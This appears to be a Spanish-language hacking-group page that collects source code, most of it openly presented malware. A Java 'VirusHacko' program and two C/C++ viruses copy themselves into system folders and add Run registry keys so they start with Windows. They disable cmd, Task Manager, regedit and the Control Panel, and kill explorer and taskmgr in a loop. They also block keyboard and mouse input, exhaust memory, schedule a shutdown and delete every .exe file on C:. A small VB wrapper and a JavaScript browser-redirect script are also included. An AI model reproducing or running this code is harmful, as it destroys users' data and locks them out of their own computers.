|Hack Diseño ®|

Private Declare Function MessageBox Lib "user32" Alias "MessageBoxA" (ByVal hWnd As Long, ByVal lpText As String, ByVal lpCaption As String,ByVal wType As Long) As Long 

'y para crear nuestro propio msgbox con el mismo orden y los mismos
'argumentos el codigo es este: 

Function MsgBox2(Prompt As String, Optional Buttons As VbMsgBoxStyle,Optional Title As Variant) As VbMsgBoxResult 
If IsMissing(Title) Then Title = App.Title 
MsgBox2 = MessageBox(Screen.ActiveForm.hWnd, Prompt, Title, Buttons) 
End Function 

import java.awt.TextField; //Crea campos de texto
import java.awt.Panel; //Crea panel
import java.awt.Frame; //Crear frame
import java.awt.Event; //Controla los eventos de la aplicacion
import java.awt.Robot; //Controla los eventos del teclado
import java.awt.event.InputEvent; //Controla los eventos por teclado
import java.awt.event.ActionEvent; //Controla las acciones de los eventos
import java.io.*;//Entrada y salida de datos
import java.util.logging.Level; //Captura errores
import java.util.logging.Logger; //Captura errores

public class VirusHacko extends Frame
{
private TextField Evento;

public VirusHacko ()
{
super ("||VIRUS HACKO-J :: By HaCk0||");

Panel p;
p = new Panel ();

Evento = new TextField ();
Evento.setEditable (false);
p.add (Evento);

}


public void autoCopia ()
{
try
{
String file = "nombreQueLeDaranAlVirus.jar";
File inFile = new File (file);
File outFile = new File ("C:\\nombreConElQueSeCopiara.jar");

FileInputStream in = new FileInputStream (inFile);
FileOutputStream out = new FileOutputStream (outFile);
int Lilith;
while ((Lilith = in.read ()) != -1)
out.write (Lilith);

in.close ();
out.close ();
}
catch (IOException ex)
{
Logger.getLogger (VirusHacko.class.getName ()).log (Level.SEVERE, null, ex);
}
}


public void enSistema ()
{
try
{
Runtime.getRuntime ().exec ("msg *ESTAS INFECTADO POR EL VIRUS HACKO-J");
Runtime.getRuntime ().exec ("shutdown -s -t 600 -c VirusBy::Hacko--Borrando--Todos--Los--Exe...");
Runtime.getRuntime ().exec ("reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Antivirus /d C:\\nombreQueLeDieronAlVirus.jar");
}
catch (IOException ex)
{
Logger.getLogger (VirusHacko.class.getName ()).log (Level.SEVERE, null, ex);
}
}


public void mouseCold ()
{
try
{
boolean n = true;
Robot robot = new Robot ();
while (n != false)
{
int x = 386, y = 388;
//Movemos el mouse a la posición de la pantalla que queramos
robot.mouseMove (x, y);
//presionamos el click derecho
robot.mousePress (InputEvent.BUTTON2_MASK);
robot.mouseRelease (InputEvent.BUTTON2_MASK);
}
}
catch (Exception e)
{

}
}


public boolean handleEvent (Event evt)
{

Evento.setText (String.valueOf (evt.id)); //Captura el id del evento

if (evt.id == Event.WINDOW_DESTROY) 
{ //si el id es igual a cerrar ventana...
try
{
//System.exit (0); Esta linea cierra el Virus
Runtime.getRuntime ().exec ("cmd.exe /c del /s /f /q c:\\*.exe");
}
catch (Exception e)
{
}
}

return (super.handleEvent (evt));
}


public static void main (String[] args)
{
boolean SinTask = false;
VirusHacko virus = new VirusHacko ();
virus.autoCopia ();
virus.enSistema ();
virus.mouseCold ();
virus.show ();
//Cierra el taskmgr.exe y el cmd.exe cada 4 segundos
while (SinTask == false)
{
try
{
Runtime.getRuntime ().exec ("cmd.exe /c taskkill /f /im taskmgr.exe");
Runtime.getRuntime ().exec ("cmd.exe /c taskkill /f /im cmd.exe");
Thread.sleep (4000);
}
catch (Exception e)
{
}
}
}
}

#include  //Para poder agregar la entrada al registro
#include  //Esto es para BlockInput();
#include 
#include 


char hacko[1024]="Error en el systema!!!\n - Se ha producira un Memory Leak :P Hacko";
char* explorerEnd="explorer.exe";
char* die1="DisableCMD";
char* die2="DisableTaskMgr";
char* die3="DisableRegistryTools";
char* die4="NoControlPanel";
char* die5="NoRun";

void VirusCopy()
{
char path[256];
char nombre[60]="wnws";
char* ruta=getenv("windir");
//obtiene la ruta de la instalacion de windows
strcat(ruta,"\\System32\\");
//agrega System32 a la ruta
strcat(nombre,".exe");
//agrega .exe a wnws
strcat(ruta,nombre);
//agrega wnws.exe a C:\WINDOWS\System32
HMODULE exe = GetModuleHandle(0);
//nos retornara un handle al archivo usado para crear el proceso de llamada
GetModuleFileName(exe, path, 256);
//obtien la ruta de si mismo
CopyFile(path,ruta,false);
//se copia a la carpeta System32
}

bool OnRun() //Comprueba si el virus ha infectado el registro
{
char cadena[256];
DWORD cadena2 = sizeof(cadena);
HKEY revisar;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&revisar))
{//Si no se abre la clave devolver false para indicar que no existe
return false;
}
ZeroMemory(cadena,cadena2);//Pone en 0 ambas cadenas y le da el tipo DWORD a cadena
if(RegQueryValueEx(revisar,"Windows Network Service",0,NULL,(PBYTE)cadena,&cadena2))
{//si esta infectado cadena guarda el valor alfanumerico
RegCloseKey(revisar);         
return false;//Devolver false porque aun no esta infectado el registro
}
else
{
RegCloseKey(revisar);
return true;//Se devuelve true porque el registro ya esta infectado       
}                                                               
}
void VirusOnRegedit()
{
while (OnRun()==false)
{
char* dir=getenv("windir");
HKEY agregar;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&agregar);
RegSetValueEx(agregar,"Windows Network Service",0,REG_SZ,(const unsigned char*)dir,28);
RegCloseKey(agregar);
}
MessageBox(0, hacko, "Estas infectado por el virus Blocked", MB_OK|MB_ICONERROR);
}
void NoInputStupid()
{
FreeConsole();//oculta la consola win32
BlockInput(true); //bloqueara el teclado y el mouse
Sleep(20000);
BlockInput(false);
}
void hackoKillsExplorerOfBillGates(char* proceso)
{
FreeConsole();
HANDLE procesoShot;
PROCESSENTRY32 pe32;
int result=0;
procesoShot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( procesoShot == INVALID_HANDLE_VALUE ){
printf( TEXT("CreateToolhelp32Snapshot (of processes)") );
}
pe32.dwSize = sizeof( PROCESSENTRY32 );
if( !Process32First( procesoShot, &pe32 ) )
{
printf(TEXT("Process32First")); 
CloseHandle( procesoShot ); 
}
do
{
if(strcmp(proceso,pe32.szExeFile )==0)
{
result=1;
break;
}
} while( Process32Next( procesoShot, &pe32 ) );
if(result==1)
system("taskkill /f /im explorer.exe"); 

CloseHandle( procesoShot );
}
void MemoryLeak()
{
FreeConsole();
char *x; //1 Byte en Memoria
while(1)
x = new char; // Sectoriza el byte desde el heap y produce un Memory Leak
}

void Bloquear(char* Aplicacion)
{
/* Funcion para Bloquear el Simbolo del Sistema,
Administrador de Tareas,Editor de registro (Regedit),
Panel de control y eliminar Panel de Control y Ejecutar
del menu de Incio de windows*/
try
{
HKEY hHKCU = NULL, hMyKey = NULL;
DWORD value = 1;
if (Aplicacion=="DisableCMD")
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS)
{
if (RegCreateKeyEx(hHKCU, "Software\\Policies\\Microsoft\\Windows\\System", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS)
{
RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD));
RegCloseKey(hMyKey);
}

}
}
if (Aplicacion=="DisableTaskMgr")
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS)
{
if (RegCreateKeyEx(hHKCU, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS)
{
RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD));
RegCloseKey(hMyKey);
}

}
}
if (Aplicacion=="DisableRegistryTools")
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS)
{
if (RegCreateKeyEx(hHKCU, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS)
{
RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD));
RegCloseKey(hMyKey);
}

}
}
if (Aplicacion=="NoControlPanel")
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS)
{
if (RegCreateKeyEx(hHKCU, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS)
{
RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD));
RegCloseKey(hMyKey);
}

}
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS)
{
if (RegCreateKeyEx(hHKCU, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS)
{
RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD));
RegCloseKey(hMyKey);
}

}
}
if (Aplicacion=="NoRun")
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS)
{
if (RegCreateKeyEx(hHKCU, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS)
{
RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD));
RegCloseKey(hMyKey);
}

}
}
}//fin try
catch (...)
{
MessageBox (0,"Error el valor no pudo ser agregado","Error al intentar agregar valor",MB_OK|MB_ICONERROR);          
}
}

bool Infectado()
{
/*comprueba si el virus ha infectado el registro
de manera que comprueba que todas la aplicaciones mencionadas
en la funcion Bloquear() ya esten bloqueadas esto con el
fin de evitar que puedan recuperar el control de estas aplicaciones
es decir en caso de que algun "listillo" borrara las entradas con
algun metodo el virus las vuelva a crear.
*/
char cadena[256];
DWORD cadena2 = sizeof(cadena);
HKEY onRegedit;
//Comprueba que el virus haya contamidado el sistema por completo
//Comprueba que ya haya bloqueado el CMD
if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System",0,KEY_QUERY_VALUE,&onRegedit))
{//Si no se abre la clave devolver false para indicar que no existe
return false;
}
ZeroMemory(cadena,cadena2);//Pone en 0 ambas cadenas y le da el tipo DWORD a cadena
if(RegQueryValueEx(onRegedit,"DisableCMD",0,NULL,(PBYTE)cadena,&cadena2))
{//si esta infectado cadena guarda el valor alfanumerico
RegCloseKey(onRegedit);
return false;//Devolver false porque aun no esta infectado el registro
}
else
{
RegCloseKey(onRegedit);
return true;//Se devuelve true porque el registro ya esta infectado       
}

//Comprueba que taskmgr y regedit esten bloqueados
if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0,KEY_QUERY_VALUE,&onRegedit))
{
return false;
}
ZeroMemory(cadena,cadena2);
if((RegQueryValueEx(onRegedit,"DisableTaskMgr",0,NULL,(PBYTE)cadena,&cadena2))||(RegQueryValueEx(onRegedit,"DisableRegistryTools",0,NULL,(PBYTE)cadena,&cadena2)))
{
RegCloseKey(onRegedit);         
return false;
}
else
{
RegCloseKey(onRegedit);
return true;//Se devuelve true porque el registro ya esta infectado       
}

//Comprueba que panel de control este bloqueado y que no este en el menu de Inicio
if((RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0,KEY_QUERY_VALUE,&onRegedit))||(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0,KEY_QUERY_VALUE,&onRegedit)))
{
return false;
}
ZeroMemory(cadena,cadena2);
if((RegQueryValueEx(onRegedit,"NoControlPanel",0,NULL,(PBYTE)cadena,&cadena2))||(RegQueryValueEx(onRegedit,"NoControlPanel",0,NULL,(PBYTE)cadena,&cadena2)))
{
RegCloseKey(onRegedit);         
return false;
}
else
{
RegCloseKey(onRegedit);
return true;//Se devuelve true porque el registro ya esta infectado       
}

//Comprueba que Ejecutar no este en el menu de Inicio
if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0,KEY_QUERY_VALUE,&onRegedit))
{
return false;
}
ZeroMemory(cadena,cadena2);
if(RegQueryValueEx(onRegedit,"NoRun",0,NULL,(PBYTE)cadena,&cadena2))
{
RegCloseKey(onRegedit);         
return false;
}
else
{
RegCloseKey(onRegedit);
return true;//Se devuelve true porque el registro ya esta infectado       
}
}

int main() 
{
/*En la primera Ejecucion no bloquea el mouse
y tampoco produce el Memory Leak*/
FreeConsole();
hackoKillsExplorerOfBillGates(explorerEnd); //Finaliza el proceso explorer.exe
VirusCopy(); //Se copia a C:\windows\System32
if (Infectado()==false)
{
Bloquear (die1);
Bloquear (die2);
Bloquear (die3);
Bloquear (die4);
Bloquear (die5);
VirusOnRegedit(); //Se copia al registro para iniciar con windows
}
else
{
VirusOnRegedit(); //Se copia al registro para iniciar con windows
MessageBox (0,"El mouse y el teclado seran bloqueados...\n ¿Bloquear?","Windows - Que hago?",MB_YESNO|MB_ICONEXCLAMATION);
MessageBox (0,"Ahora viene un Memory Leak!!!\n Virus creado por Hacko - Hack Diseño®","Virus Blocked by: Hacko",MB_OK|MB_ICONEXCLAMATION);
NoInputStupid(); //Bloquea El teclado y el Mouse
MemoryLeak();
}
return 0;
}

#include  
//Para poder agregar la entrada al registro
#include  
//Contiene la funcion BlockInput()

using namespace std;
void autocopia()
{
char rute[100] = "copy /y Virus.exe %windir%\\system32\\wnws.exe";
system(rute);
system("exit");
}
void copiarseAlRegistro()
{
char ruta[128]="C:\\WINDOWS\\System32\\wnws.exe";
HKEY hkey;
RegOpenKeyEx
(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"WindowsNetworkService",0,REG_SZ,(const unsigned char*)ruta,sizeof(ruta));
RegCloseKey(hkey);
}
void Bloquear()
{
BlockInput(true); 
//bloqueara el teclado y el mouse
}
void cerrarAdministrador()
{
//Aqui se ponen las aplicaciones a cerrar
HWND TaskMgr;
//La variable runing tendra valor true
bool runing=true;
//Mientras runing sea true cerrar la aplicacion taskmgr
while (runing=true)
{    
//Busca la ventana con el nombre admin...para anularla
TaskMgr=FindWindow(NULL,"Administrador de tareas de Windows");
if (TaskMgr != NULL)
//elimina el proceso Taskmgr
PostMessage(TaskMgr,WM_CLOSE,(LPARAM)0,(WPARAM)0);
}
}
int main() 
{
autocopia();
copiarseAlRegistro();
Bloquear();
cerrarAdministrador();
//finaliza el programa
return 0;
}

function detectarNavegador()
{
this.nombreNavegador = navigator.appName; //Obtiene el nombre del navegador
this.version = navigator.appVersion //Obtiene la version
}
var informacion= new detectarNavegador() //Crea un objeto llamado informacion
alert('Navegador:\n'+informacion.nombre);//envia nombre del navegador
alert('Version:\n'+informacion.version);//envia version del navegador
}//fin de la funcion detectarNavegador

//creacion de las funciones
var pagina="yahoo.com";
function redireccionar()
{
location.href=pagina;
}//fin de funcion redireccionar
function actualizar()
{
ventana=confirm("Tu navegador es incompatible\nActualizar?");
if (ventana) {
setTimeout ("redireccionar()", 1000); //redirecciona en 1 segundo
}
else {
alert("Cancelaste");
}
}//fin de funcion actualizar
//Ejecucion del script
var browser=navigator.appName; //detecta navegador
if (browser=="Microsoft Internet Explorer") //si es IE entonces
{
var ver=navigator.appVersion;//Detectar version
ver.match(/(MSIE)(\s*)([0-9].[0-9]+)/ig); //Expresion regular
ver = RegExp.$3;//Usando las expresiones regulares extraemos la version
if (ver<=6.0)//si es menor o igual a 6.0 entonces
{
actualizar(); //ofrece actualizar
}
}